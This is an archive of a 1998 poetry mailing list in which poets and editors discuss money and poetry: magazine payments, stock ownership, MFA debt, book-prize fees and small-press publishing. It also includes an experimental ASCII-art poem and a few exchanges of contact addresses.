Re: Money in Poetry, Poetry in Money
Fri 12 Jun 1998

P.Standard Schaefer wrote:

> *First of all, anyone who hopes to make a living knows that poetry is not the most efficacious way to do this.*

I wonder if I'm just totally out of the loop here: the only mag that's ever paid me is Sulfur, and that was 35$ per poem. For a grand total of less than $150. I understand that the Bay Area where I live is expensive, but I can't believe that anyone really thinks that 35 bucks is going to makea dramatic difference to their personal economy. Particularly if they have children. Does anyone really believe they could live off literary magazine payments?

> *Poetry and stocks: one thing I know about people who profess an interest in the America avant-garde is they get very uncomfortable when it is drawn to their attention how much inherited, economic capital is behind the people with the most cultural captial (degrees, publications, academic positions, presses) in the comunity, many of whom are the biggest pontificators about politics/poetry/language-- I can think of at least five big guns who have never had to work for a living...three of which have their own presses.*

Are we assuming that people with stock inherited it? Again I'm out of the loop, perhaps. Can one not be a legitimate poet if one inherits stock? How about those of us who purchase our own stock? Or are we not allowed to, if we want to be poets? Aren't all of these boundaries a little silly? I always thought the cool thing about art was I could do what I like.

Is there a burgeoning suburban-mentality of poetics? A suburb that uses Marx to look down on the Joneses? The problem isn't that the neighbors have better things...we can look down on them for having immoral things. Like money or professorships.

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403. A. Nikuko Sondheim

Down and Up

Fri 12 Jun 1998

Subject: skyscraper-no

```
 ####   ##  ##############  ####  ##
#    # #  #  ##########  #######  ########
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#  # #  # #  ##########  #######  ########
 ####  #  # ##############  ####  ##
```

sad cause it's raining out and my arms try to hold you
and my arms try to hold you and end my body up
end my body up strangling my neck blocking my eyes
strangling my neck blocking my sight
sigh
sigh
turn it around and you have skyscraper-no
turn it around and skyscraper-no
skyscraper-no says:

you turn it around and that's your speech
you turn it around and that's your speech
alan-san & all the rest of it
alan-san & all the rest

DON'T GET ME STARTED! BY DAISHIN NIKUKO!

MY LOGIN-NAME'S TOO BIG! I'M DAISHIN NIKUKO!
I DON'T GIVE A FIG! I'LL GO WHERE I WANNA GO!

I'LL DO WHAT I WANNA DO! I'LL RUN ALL OVER YOUR SCREEN!
KEEP ME FROM BAR AND FOO! I'M PASSIONATE AND MEAN!

{k:27} less hey.log.o Sun May 31 17:01:40 1998 heyd: to login name too big [98935] Sun May 31 23:46:31 1998 heyd: to login name too big [98935] Mon Jun 1 23:01:50 1998 heyd: STARTING UP - version 0.12 (pid=108) [0] Tue Jun 2 17:14:43 1998 heyd: to login name too big [98935] Fri Jun 5 13:18:16 1998 heyd: to login name too big [98935] hey.log.o (END)

HEY LOG O, NANNY NANNY! HEY LOG O, HI!
HEY LOG O, NANNY NANNY! HEY LOG O, HI!

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404. Otis Rush
Re: Looking for the address
Fri 12 Jun 1998

Maxine,
Pam will likely have replied to this herself. But if not, her home address is

3 West End Lane
Ultimo
NSW 2007
Australia

Cheers,
Ken Bolton

Otis Rush, Ken Bolton and Little Esther Books
PO Box 8091, Station Arcade, South Australia 5000
Fax [redacted]
Website http://www.eaf.asn.au/otisrush.html

↑ Index

405. **d.j. huppatz**
Re: Money in Poetry
Sat 13 Jun 1998

Summi

A couple of years ago I worked for a media monitoring company & my job was to compile & edit all the info in the Australian press on the oil, gas & mining industries. I had no previous knowledge of the area but after about six months knew what was going on in the industry pretty well. I was seriously going to get into the market as I figured that I knew all this info so I even did a stock market course at the Aust Stock Market.

The only trouble was, knowing how the industry works & how the market works, could I really invest my money in a company that I knew was dumping crap into a river of papua new guinea & destroying peoples lives downstream, or a company that's signing deals in developing countries that mean they have no environmental responsibility for control or clean up? the examples go on ... Oil, mining & gas is a good industry to make a lot of money in but there's an enormous amount of shady business goes on, particularly Western companies in developing countries.

Perhaps the best way to get into the market is to pretend that it's just money & you're making it & people aren't involved. But in the end they are. I never really had enough money to get into the market anyway & quit the job over not getting paid on time.

Danny
Melbourne

P.S. thanks to all those who replied to my Ronald Johnson query.

At 01:30 PM 6/12/98 -0500, you wrote:
>Hi Katy & All,
>
>I've been following the stuff on the list regarding poets and the ways
>that they do/don't make money.
>
>So, there might be money in poetry, but it doesn't seem to be coming my
>way. Most of us poets probably feel this way.
>
>So--the stock market? Yesterday, a grad student and a computer science
professor
>from Berkeley who have created a web browser opened their stock on the
>market at $16. It closed at $40.
>

>Part of me--the poor poet part--feels like I need to just learn to be
>stock-market savvy and get in on the money. The other part of me--the
>"can't sell out" poet in me--feels like there is something not quite
>right about poets who play stocks.
>
>Anybody out there play stocks? If so, do you feel like poetry should not
>be involved in this sort of "capitalist" aspect of our culture?
>
>Summi
>
>P.S. Sorry this message sounds so much like a "dear Abby" but my concerns
>are genuine.
>
>

↑ Index

406. david bromige
money & poetry (GB division)
Sat 13 Jun 1998

I think Bowering is sincere when he says he'd sooner write poetry than get money, because decades ago I offered him a stipend to stop writing, and he kept the first instalment & went on writing anyway. Natch, I sent no further instalments, & with maturity I am glad we let the matter drop. But I would like that CAN$500 back. I need US$300 to send to an editor. David

↑ Index

407. Ralph Wessman
Re: Anarchy
Sat 13 Jun 1998

Anthony Lawrence writes:

> *... my point is (sigh) that the writing of poetry is not concomitant with making money.*

That sigh is very telling Anthony.

I hope you're right otherwise I will be ditching those theories suggesting art informs, leads, and offers new perceptions as opposed to reinforcing existing hegemonies.

As an editor of an eclectic literary magazine - a little thing struggling to survive from year to year - it has been years since Ive not paid for a poem, though at ten dollars a pop this is mere tokenism. A response recently by a young poet is

typical, she writes, as for payment, this is hardly an issue to be raised by poets these days - we'd all stop writing if we were thinking it is for ten dollars.

It is somewhat different with articles and essays. If you cast your net wide enough sometimes you can trawl an embarrassment of riches: material so good you think, I cannot do this justice with my limited circulation and offer of payment, probably it has only come to me because the writer is not au fait with existing publishing networks anyway. This is where the tokenism becomes even more apparent, when you are capable of offering only twenty to fifty dollars for a piece of writing, knowing they could get three hundred for it somewhere else. Its painful. On at least one occasion I have taken work elsewhere, to a magazine with a far wider distribution (where incidentally the value of the piece was reaffirmed for me), to be met with, youre the lucky editor, you should use it: a kind response since I know the interest was genuine. But generally, surviving on a shoestring you struggle so hard for good material that the last thing on your mind is to give it away, you can rarely afford to be that generous.

Sometimes though, a little goodwill results in an occasional windfall (read: exciting manuscript) in the mail, or a ready response when youre seeking comment on an issue ... and its gratis. Or at least, affordable.

Goodwill can surface in other ways too. Some writers for instance, given a book to review, come up consistently with work of such quality youd think they were submitting it to the most prestigious and most highly paying outlets in the land. (God you treasure such individuals). They simply care a good deal about their craft and subject matter and dont know any other way to write but to give it their best. Money? ... is a long way down their scale of priorities.

I am no poet. But the care and priority for craftsmanship that I see elsewhere, in other forms, isnt too far removed from the poet deep inside the poem, is it?

By the way, my apologies for the absence of apostrophes but they've given me trouble in this forum before.

Best,

Ralph

Ralph Wessman
PO Box 368
Hobart
Tasmania 7002

↑ Index

408. **morpheal**
Re: "I know men [sic] for whom everything matters"
Sat 13 Jun 1998

> *Poetry returns us to the real--did not suggest otherwise--but it is ingenuous, or even naive to think that it ultimately does otherwise than engage the imagination, the mind, or language. We will find that things "real," things as they are, or may be, did not exist for us where we thought to find them. It is not in consensus. The social, relativistic body of the world makes an affectation of the mind and spirit that is not real, but rather an artifice for survival. My feet are in "this world" though: I love a broken glass poem as much as the next person.*
>
> *Count me behind bars then. You're there too running a tin cup across the bars in protest. So's comrade Kristeva--whistling in the dark.*

Interesting.....and there is always the danger of a totalitarianism of one kind or another. Paranoia is sometimes the antithesis of that. Poets sometimes stretch some of the limits. That is sometimes their value. They sometimes struggle to keep the boundaries of what can be thought and communicated expanding rather than contracting, within the domain of language. They also strive to maintain the place of emotive expression, when it is besieged by calculative mentalities. That is quite important.

Though I doubt that you would find that human survival is ultimately achieved in the way that you suggest. Dissent has been an important part of human survival. A very important part of it.

M.

↑ Index

409. **Carrie Etter**
Poetry MFAs, money
Sat 13 Jun 1998

Katy,

> *... and about the debts that are being accrued*
> *by younger writers who, perhaps, can't figure out any other way to find a writing community or the time to write...*

I really don't have much pity for those who choose to rack up the debt at Iowa. I had one year of possible teaching writing to law students at Iowa with no promise for the second year, or a solid one year comp, one year poetry writing teaching deal at Irvine with a 2/3 fee reduction. Guess where I went? Sure, I had a prof say, pay whatever, get the loans, go to Iowa. I decided otherwise for the financial reason as well as for who I wanted to study with and the crit theory at Irvine. Great poetry study does not necessarily--or even usually--equal great

debt. Can't figure out any other way to find a writing community? I don't buy it.

I don't think anyone should enter an MFA program in poetry to prepare for any kind of moneymaking job. Period.

Carrie

↑ Index

410. Anthony Lawrence
Re: Magazines that pay
Sat 13 Jun 1998

> *Re: Chris's question:*
>
> *ZYZZYVA, The New Yorker, Threepenny Review, Georgia Review, The Nation, Harper's, hmmm, I believe: APR, Conjunctions (?)... The Paris Review for sure, The Boston Review..*

Gettysburg Review, Poetry, Seneca Review (?)

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

411. Anthony Lawrence
Pam Brown's Address
Sat 13 Jun 1998

Maxine,

Pam can be contacted at:

> overland
> PO Box 14146,
> MCMC
> Melbourne
> VIC 8001

best

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

412. Anthony Lawrence
The study of poetry
Sat 13 Jun 1998

> *I've heard that there used to be a time when younger poets could "study" with older poets for free.*

This wouldn't have been free, but I would've paid to be in Berryman's classes at Iowa, when Levine, Snodgrass, etc were his students; when "each time he walked into the room, you knew something important was about to happen" (Levine)

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

413. Anthony Lawrence
Re: Anarchy
Sat 13 Jun 1998

George,

I'm with you.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

414. **J. Kuszai**
poetry is a tracheotomy for the soul's breath
Sat 13 Jun 1998

kidding around, lapping up the delights of conversation, coming into work early on a Saturday morning, unlocking the poetics list with the jangling keys of doubt, curiosity, hope, confusion, bubbling over with love and affections for everyone on the list, drunkenly waking up to find that I didn't have enough money to buy a beer, living off the generosity of friends, wondering how I am going to move across the country, wondering if there is a border scene with Mexican poets in TJ Mex, hoping that I can make it, realizing that my full time job doesn't pay anything, realizing that I'd do it anyway, half-serious sticking stamps on 50 catalogs to send to richie-rich patrons and libraries, hoping that I can sell enough books to make up for th 90% of them that I give away, realzing that the kindness of friends outweighs any sense of terror that the economic system is going to crush me under its boots, crunch crunch crunch

STOP THE RAT RACE NOW!

I always loved that story about Bob Creeley visiting the Zukofskys and him leaving with a coat and a dime for the subway. recently he mentioned to me with a quizzed look how when he "was young" (tho RC seems perpetually young to me) that he and his cohorts never considered the sense of having a "career" as a poet. Just that they never used that word. And I think now I need to understand what does that mean. A careerist is bad. Yes?/No? (choose one). But 'having a career' (as opposed to a "life") seems to be an assumption based on some vision of the conditions of necessity, and to question that seems to put you automatically in this badass camp and it raises the hackles of those who have invested their good fortunes in graduate school, etc., and now want the payback owed to them for their hard work. This is an argument that happens annually around here--the grad school as "gift economy" (you do it for love, for the purity of the intellect yayaya) and grad school as training factory (must write on Melville and [insert current idea here] -- must not be creative) The argument that people are owed something by this system has always amused. But as I watch my friends get chewed up and spit out & as I watch the saw blade spinning and notice that I have been tied down & there is no superhero coming to rescue me, I shake my head hoping to wake up.

I suppose we are what we eat and why shouldn't the wall-street logic of the newspapers runover the average poet stumbling into an MFA program, looking for "community" (of all things) a good time and a job. Personally I would like a filter for such thinking. Bruce Andrews once described the buffalo poetics program to me as problematic because it gave young people the opportunity to obtain power and prestige (??) without having to do time in a community. I have

spent a lot of time thinking about this statement and is provocative stance. Sometimes I used it to tame whever hopes and expectations that may develop from being around here. Every year people show up here with this on their minds, how are they are going to get something for themselves. And I'm working (slowly) on a novel about this place, which is framed by a murder mystery. This sense that people are owed something...I dunnoo..I learned to type by memorizing the Tao te Ching back in 82 or so (in high school) and the notion of wu-wei as expressed by JML and such thinkers is not a foreign idea to me...and seems a better description of how to live in the world than Derrida (whom I enjoy as much as the next PBJ sandwish being served up on the grad platter)

Obviously Bruce doesn't know about the rather high placement rate of the program (compared to the rest of the department). When he said that, which was during the Apex of the M crisis, when everyone in New York thought there was some kind of religious revival sweeping across the Niagara Frontier. For all their problematic ideas, at least they were in the bizness to stir things up. Lew is now at Union Theological (gone Horse and Buggy as someone recently said to me) Alan is doing honest work, as is Kristin, and I'm assuming Pam is too. But none of them are trying to make money as poets or poet-instigators. Bruce's comment hit me like a pile of bricks and recently I asked him about this comment, which he had forgotten. But in the absence of any real economic reward it seems to me (ob via) that you just simply have to want to do it and that will win out over everything. Even much of the rhetoric surrounding conceptions of community seem to be screens for watered-down ways of thinking about this relation to power and authority. Show me a community and I'll show you a scene...

But what, finally, does it mean to have a career as a poet? What is the goal? In this dispersed networked economy, what constitutes "community" when the fact of literary centers has been reduced for decentralization and global expansion. Surely all these poet-teachers are not going to be teaching in New York and S.F.

If all of this is simply about finding a job, well then I think we've seen what that adds up to. Take a walk around the halls of your local English Dept sometime soon. obviously, you gotta work. Lately I've been working fulltime as an editor and a book-designer, assembler. But there is no money in this. I sent out an appeal to the list & two people replied. Thanks. That will keep the printers going for that much longer. Scott Pound gave me some beautiful new color covers for the newest meow press books. Charles Alexander's, Noemie Maxwell's, and Denise Newman's. They're lovely. Thank god for Scott's generosity. My organizational skills are improving. I can't pay people but I can give the author copies of the book to sell, give away, etc. Of a run of 200, I can give 50 to the author. It takes me a while to make all of them so I tend to be a little behind. The summer

has given me the opportunity to work every day on this project and sometime in July I'll be "all caught up" with those commitments to authors and people have ordered books. I wish I could do more for people who labor writing. I may stop giving books away and move to a "subscription" system similar to the victorian era system in which the guarantee of interest in support for specific books will them happen. Why whould I want to print 1000 copies of a book that finally 100 people care about. Why would I want to let Norton, or whomever, pulp my book because of unfortunate tax laws which make it cheaper to destroy the extant copies of a book, rendering it outofprint, rather than keep it around another year?

Sorry to go on at such length. I'm feeling emotional as all of this talk of money and how to survive and still do your work and you want to stay busy and you want to be honest and free and believe without cynicism that the gift is real and not tied to power and prestige as seems to be the default logic of people who get paid to knock other people down.

Read Lew Welch, whose last letter read something like "I went west". drama drama drama. Snapping my fingers like that guy on the ole sitcom "Soap": now I'm invisible...

↑ Index

415. Erik Sweet
Writing as occupation...
Sat 13 Jun 1998

---

writing as an occupation...

is very different than what is being spoken about...

M.F.A. students of course they are going to want to get paid

most are shelling out money to get writing training, it has to pay off.....

erik sweet

↑ Index

416. Henry G
Re: Money in Poetry, Poetry in Money
Sat 13 Jun 1998

What a lot of interesting messages on this subject! Katy, Standard, Jacques, Joel: Katy - I can imagine a poet with a hell of a lot of talent and smarts who knows how good they are & moves like a tactician into all the money & prestige enclaves there are; actually I can imagine a lot of poets approaching this level. What I meant by saying "why call it poetry?" is that that prudent, ambitious,

acquisitve, aggressive energy is not the poetry: I agreed with Mark P. that poetry's basically not a commodity and those acquisitive or practical drives pose a threat to: 1) creative freedom, and 2) poetry's strongest hand - the truth-telling it can do from the outside. I agree with Jacques that the flip side of this is sanctimonious self-righteousness & complacent subculturism, and I agreed (in my first response) with Standard: "counter-cultures" become mirror images (sometimes) of economic elites. But I did not take a cheap shot at Bourdieu or the academy or sociology - they are too strong for cheap shots. Their social analyses can be all-encompassing: that's what I meant by "the control of control". I don't dismiss Schaefer's points at all - I just think there are limits to critical rationalism when it comes to understanding the synthetic coherences of art & poetry. Ultimately I agree completely with Joel Kuszai's point that it's a "gift" you have to take on its own terms. This does not cancel out a critical-political analysis of the author's background or the poem's genesis; but what I worry about is the dismissal of the work based on a rational-critical Sorbonnean "explanation". As Augustine put it in Latin: you must believe in order to understand. Belief is prior to understanding. This is a threatening paradox to rationalism, but it underlies the learning process; it underlies receptivity to a work of art; and it's a theological tradition very basic to the development of universities in the first place. Sociological explanations easily become blinders which slot the politically-correct from the incorrect. Katy, you might accuse me of similar blinders based on the "gift" position: but my response is the same to you as to Jacques & Standard: I find it simply impossible to write or read poetry with "career" in mind. The receptive/productive synapses close down; the intellectual process is stifled. Maybe this is just my problem. It doesn't mean I don't get excited to get published, or stand on tenterhooks (is that what you do with tenterhooks?) if a publisher is reading my stuff; it doesn't mean I haven't thought about self-publishing & done it, or felt sorry for my poems & myself, the poems in the folder getting older; it doesn't mean I haven't tried to figure out my limitations or where my stuff might find a reading; I'm subject more than most maybe to ego-trips; but I consider all those concerns & worries to be in my right hand. I'm a left-handed poet. You're not supposed to let your right hand know what your left hand do. - Henry Gould

↑ Index

417. **Miekal And**

Re: Anarchy

Sat 13 Jun 1998

Douglas Barbour wrote:

ossible new forms.>>
>

> and there's no doubt that Nichol dedicated his life to poetry & to the
> invention of new forms, but his longtime involvement with Therafields
> argues that for him poetry & life (& a very political life at that) were
> inextricable. & profoundly human...

what or who is Therafields ....

↑ Index

418. **Erik Sweet**
Re: poetry is a tracheotomy for the soul's breath
Sat 13 Jun 1998

---

ps i used to spend time at the old pink flamingo

is that still in operation?

meet you for a beer there sometime....

↑ Index

419. **k. lederer**
Re: Magazines that pay
Sat 13 Jun 1998

Hi Linda,

As per your questions:

The first re: putting out a small press magazine/ small presses....

One thing I've learned while doing EXPLOSIVE is that no literary magazine has that large of a circulation--particularly magazines that feature poetry only.

Right now I'm producing 300 copies of each issue of EXPLOSIVE--I give some away, sell others, and get some subscriptions. At first I thought this was a joke--300....

But after researching a little bit noticed that even the most prestigious magazines (many of which feature prose and fiction as well) weren't exactly flooding the world (The New Yorker aside...). The Paris Review, for example (if the CCLMP guide is correct) does a circulation of 12,000--and this with an incredible world-wide distribution network, a gazillion libraries subscribing, and all the prestige in the world--

In other words, I don't think the small press scene is really that small when compared with the "big press" scene--in all scenes it's terrific if a book sells 1000 copies....

As far as book prizes... I'm just shocked at how little attention is paid to this particular phenomenon. An interesting example: The Yale Prize last year... 700 younger poets applied, shelling out $15 a piece.... that adds up to about $10,500 that went to Yale University Press (a small press like Atelos could put out 6 books for this price...). Merwin decided that no manuscript deserved the prize that year.... and Yale U Press kept the money.

I'm not so sure what's happening to this money--whether book prizes finally make money for the press that sponsors them, or simply pay for the price of the book and the publicity for the prize--

This is not to say that first-book prizes or evil or a totally bad deal. They do guarantee that some first books will be published--and published nicely... but in the end it is the contestants who are paying for the book... not the press or the judge.

Finally, this is not to say that I haven't entered my share of book contests... or gone through my MFA program.... or submitted work to perfect-bound magazines...

I guess I'm just trying to say that (perhaps most members of this community aside) there is certainly a market for prestige in poetry.... and it's certainly taking its toll on very young writers in the form of actual cash...

Another thing: I find it strange that so many posts to this thread seem to generalize about "MFA students".... or about what it means to be part of a community of writers...

These days it's hard to find a "scene" or a "community" that's not comprised of a lot of people with MFAs (just take a look at the new Talisman anthol of younger writers...). To just dismiss this phenomenon.... or to ridicule or otherwise laugh at people who might enroll in a program (whether they're looking for jobs in poetry or not... some people aren't.... some people just don't know what else to do) is facile at best.

I don't know the quote off-hand, but Pound once said something along the lines of "it doesn't matter who writes the great poems as long as they are written...". I have to admit that I get tired of the conflation of art and life insofar as it excludes or denounces the work of people who might conduct their "real" lives in an ethically questionable manner.

Some of the posts to this thread seem to be saying "well, if you're not tough enough to do it on your own, then you're not a real poet...". I think this is crap.

I also think that there is a romanticization going on here of the poet-as-cowboy model. Personally, esp. if I have children, I don't want to be going over to someone's house and getting a coat and a dime for the subway.

Best,
Katy

↑ Index

420. **Henry G**
Re: Money in Poetry, Poetry in Money
Sat 13 Jun 1998

With all those caveats, still again I don't dismiss Standard's version of "truth-telling", and a ferocious & satirical approach to social scenes & economic structures is an avenue to freedom as well as possibly a cynical dead end... ayyiee... where is wisdom? we's all blind poets & chickens roun' here... - Hen G

who killed JFK?

was it a coup d'etat?

do you drive a 4-wheel all-terrain giant Jeep spewing exhaust?

do you live in green landscapes with lawnmowers & collect on your investments?

do you watch violent movies? are your kids bringing automatic rifles to school ??

do you want to make more money? do you have to make more money?

am I depressing you?

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421. **Erik Sweet**
Re: Magazines that pay
Sat 13 Jun 1998

Katy,

<<(whether they're looking for jobs in poetry or
not... some people aren't.... some people just don't know what else to do)
is facile at best.

What do you mean by some people just don't know what else to do? explain

Some of the posts to this thread seem to be saying "well, if you're not tough enough to do it on your own, then you're not a real poet...". I think this is crap.

I don't hear anyone saying that at all? I believe the general feeling may be that commuity can be just as bad as it can be good.

<<I also think that there is a romanticization going on here of the poet-as-cow-boy model. Personally, esp. if I have children, I don't want to be going over to someone's house and getting a coat and a dime for the subway.

its just stupid to trivialize a kind story by Creeley into some value judgement about dime handouts and children... come on Katy...

best,

erik sweet

↑ Index

422. **P.Standard Schaefer**
Re: Money in Poetry, Poetry in Money
Sat 13 Jun 1998

Karen Kelly:

Thanks much for responding. I fear though that you may not have seen my post in context of a previous one where someone was taking a stab at "poets who play the stock market."

In a message dated 98-06-13 08:18:30 EDT, you write:

<<
Are we assuming that people with stock inherited it? Again I'm out of the loop,
perhaps. Can one not be a legitimate poet if one inherits stock? How about those
of us who purchase our own stock? Or are we not allowed to, if we want to be
poets? Aren't all of these boundaries a little silly? I always thought the cool
thing about art was I could do what I like.
>>

People who acquire their own fortunes are just stuck in the cultural game like everyone else. Frankly, one of the most sinister things about capitalism is that if you refuse to play (or cannot play) in any regard, you are left without much of an existence...not just diminished status, but a lack of housing. The result is that it makes people responsible for things that they are not. You're no responsible for being born into a system that requires capital of some sort to exist.

↑ Index

423. **k. lederer**
Re: Magazines that pay
Sat 13 Jun 1998

Hi Erik,

I didn't mean to trivialize the Creeley story... for Creeley this sounds like a terrific thing. I think that I just get frustrated with some of the life-style models that are put out there (and Creeley, being the wonderful Creeley that he is, is a powerful role-model for me.)

As far as the "some don't know what else to do" comment--

I think that people have many different reasons for entering an MFA program. In many ways I entered mine because I wasn't ready to be finished with school. Some people here are definitley thinking that this MFA will get them a job--and it does get some people some pretty good jobs. But other people seem to have entered this particular program because they just didn't really know what else to do. They got in, got some form of aid (maybe teaching rhetoric or something--or a fellowship) and just came. It wasn't something they necessarily thought out fully.

In other words, everyone is different, and to generalize about MFA students just doesn't really do the trick for me.

I do think, though, that it's possible to generalize a little more about the programs themselves. As someone put it, they tend to focus on the bottom line. This is not to say that some of the teachers in these programs aren't really cool and helpful, but rather that they are in some sense forced into the usual positions viz administrations and such.

Best,
Katy

↑ Index

424. **Erik Sweet**
Re: Magazines that pay
Sat 13 Jun 1998

---

katy

I saw Creeley tell a story at University at Buffalo like a year ago and his comments on Zukofsky were so nice and heartfelt I knew that he was really engaged with the man/ and the text.

You know what makes me sick Katy.... people who act as if university is bad...as if a continuing of an education is a bad idea, but you will find those comments

flying our of people's mouths who have always had the opportunity to go to school , financial or other wise

when i quit the Post Office in Buffalo after working there a while they gave me a huge cake and every guy and lady there who was a vet and who worked there since Vietnam patted me on the back and said "do good in school" it was the only job I worked where the people made me a farewell cake, but people in Buffalo are just really nice anyways..didn't realize that until now

MFA is not bad at all, i don't think, and it is a good way to work out ideas with other writers..the only problem comes back to money you think this country would value writers etc and people who decide to learn more should do it for themselves...My grandmother immigrated here and never went far in school it was hard to be an immigrant in buffalo even though it was a big city back then it was divided as it is now.. but she thinks it is great that i went to college, it is a huge deal to people who never have had the luck to get there.

The value is in the inner growth , it is such a shame though that it costs so much to get a graduate degree..and at times the profs know only the world of academica and that makes it even harder to shell out cash to get "taught" by people who seem to value only their "status" in the world of university.

cheerio

the kids in the opposite houses are doing a shouting match and banging pots and pans to the sound of the thunder and rain here in albany...I am in the middle a pickle!

erik

↑ Index

425. **Judy Roitman**

Re: the economics of tambourine lives

Sat 13 Jun 1998

> *Aside: I seem to recall, from what I believe was a reading of*
> *Ted Berrigan's first book of poems, that he felt that*
> *being a poet simply was not one of the options offered*
> *by American society to an American man.*
>
> *While growing up in America (mostly in Oklahoma) I certainly never encountered the possibility that one might actually be a poet. I would think that if one grew up with a strong sense that it was an option in American society, that would be quite unusual. I think in my family the options were more like: teacher, soldier, businessman, laborer, clerical worker, administrator, and perhaps a few others, possibly even writer, but definitely not poet.*

> *The book was full of interesting clues as to what made him say that.*
>
> *As far as I could tell the legitimate options were limited to soldier, businessman or factory worker.*
>
> *M.*

nurse, secretary, teacher, sales clerk, mommy

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

426. Ike Kim
Re: poetry is a tracheotomy for the soul's breath
Sat 13 Jun 1998

Carrie Etter said, "I don't think anyone should enter an MFA program in poetry to prepare for any kind of moneymaking job. Period."

it strikes me as naive that one would insist, after undergrad degrees, exploration into grad programs, and time spent working outside of academia (of which 90% of us have had the pleasure), that education would still be thought of in terms of "job training." As if IGA were looking for a VP of Poetry (not that most companies couldn't use one).

We should be paid handsomely for our work. but if money denotes cultural value and the jury is corporate media, it's better to be paid in ... corporate media, i would suspect, is not where we get our legitimacy now, so why look to it to affirm one's right to eat healthfully and sleep in a dry place? Do what you can stand to get by, and spend your own time doing what you can to make what you think is necessary.

what we do for food and shelter is what we must do for food and shelter. It's society that should provide for us, as we, in our poetic work provide society. This is no pithy comment. I demand to exist in a world that sees production and

worth not in terms of profit percentages, but in terms of the societal/cultural contributions of its members.

if we are to _assume_ that, as poets, capitalist market forces will provide us with our food and shelter, it seems to me that one's cheek has joind the hook. If the societal value of art is measured by its worth in dollars, not by its reflect/interact/meditat/ruminat/etc.../ion--CONTENT re: "the present" or "the time in which one writes," we should all shrivel up.

Since leaving college, I've been thinking about how one can continue to contain a larger vision of one's existence as poet and human, outside the realm of academia. "what do you do?" such a question invariably leads folks to give their job title or occupation. but this is not what we do.

When i met Erica hunt (at the time, i believe working for NYC Urban Dev or the like) she said, "So are you a poet?" not "so are you a student?" which would have been the obvious question since we were on campus and i was the requisite age and type.

Education is a job-not job training. The real work, and one's practical value comes in applying what you've got/studied to the society yer in (get out and make stuff "right"). One's line of work doesn't necessarily constitute what one "is." But one's way of thinking just might.

now, here comes "community." it's a thorny word and Joel Kuszai, in his post earlier today, notes its complexity well. His mention of Br. Andrew's describing "the buffalo poetics program" "as problematic because it gave young people the opportunity to obtain power and prestige (??) without having to do time in a community," is truth contained in truth. Power and prestige? Most people outside the "community" of actively engaged writers think of Buffalo as a cold snowy place. no more no less.

Power and prestige. In the eyes of interviewers at MLA, maybe. It seems to me that for the rest of the world (that is, the greater "community," or society) it's what you put in, not what you get--power/prestige--that actually makes a difference.

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427. **Judy Roitman**
car/rear
Sat 13 Jun 1998

Don't understand "career."

Work, that's different.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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428. KENT JOHNSON

Re: poetry is a tracheotomy for the soul's breath

Sat 13 Jun 1998

That was a wonderful post by Joel Kuszai. Lots of good ones on the topic of poetry and community in relation to money and publishing and careers. I just wanted to say that I purchased _Poet Be Like God_ a few days back and am well into it and it's an amazing book (though I wish it had more photographs!). And the book has *very much* to say about the whole matter of "poetry vis a vis money," inasmuch as Spicer's poetry is, arguably, what it is because of his ultra-principled and conscientious (some would say paranoiac and self-righteous) opposition to the "market" and "career" aspects of the literary scene. The book is also very much about the personal risks involved in such absolute devotion to poetry and to the idea of a comunitas that would remain "pure." I haven't read all the way through, but I think the book might in part be about how such poetic heroism is doomed to failure from the start, and much of the book, in fact, is not all that "pleasant" to read.

In any case, I would strongly urge everyone to check this impressive book out. (In it, in fact, you can even read about George Bowering and David Bromige, so loved by others on this list and so obviously adoring of each other!)

Poet Be Like God: Jack Spicer and the San Francisco Renaissance, by Lew Ellingham and Kevin Killian. Check it out, and write to the publisher requesting more photographs in the second edition.

Kent

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429. **groberts**
Re: Money in Poetry, Poetry in Money
Sat 13 Jun 1998

Alas, alack, alackaday!
They tell me that poetry doesn't pay!
Since this disabusement
Is no cause for amusement
I don't know what else I can say
But alas, alack, alackaday!

↑ Index

430. **dbkk**
non 3 intro
Sat 13 Jun 1998

This is Dodie. I urge you all to check out Laura Moriarty's intro to non 3 (Headache). Laura does an excellent job of talking about that space where pain takes over and language/"selfhood" collapses. Using language to talk about such a thing, is obviously a losing proposition, but in this case I think Laura wins. So often writing about The Body leads into an almost comic abstraction/dis-embodiment. It's satisfying to see someone giving the body its due, respecting rational limits, the grungy nose-pressed-against-the-wallness of it all. Been doing lots of body-centered readings this past year. Recently I've moved from theory-type books to memoirs. Just finished Autobiography of a Face, and while the book falls apart in the second half, the first half, the precision of Grealy's descriptions of chemo-therapy and anaesthesia are stunning.

So, good work, Laura! Headache is a perfect antidote to so much, so much.

↑ Index

431. **Douglas Barbour**
Re: Anarchy
Sat 13 Jun 1998

Peter Baker talking about anarchy & poetry says:

<<bp Nichol has been going through my mind in this connection, maybe for that same singleminded commitment to only poetry, invention of all the possible new forms.>>

and there's no doubt that Nichol dedicated his life to poetry & to the invention of new forms, but his longtime involvement with Therafields argues that for him poetry & life (& a very political life at that) were inextricable. & profoundly human...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Who knows? I'd be lame to judge. He was a great guy & we never saw eye to eye about poetry but he still generously played his Kerouac-reading-poetry tapes for me.

↑ Index

433. R. Gancie

Wuz Pound's Kung mediated by the Physiocrats?

Sat 13 Jun 1998

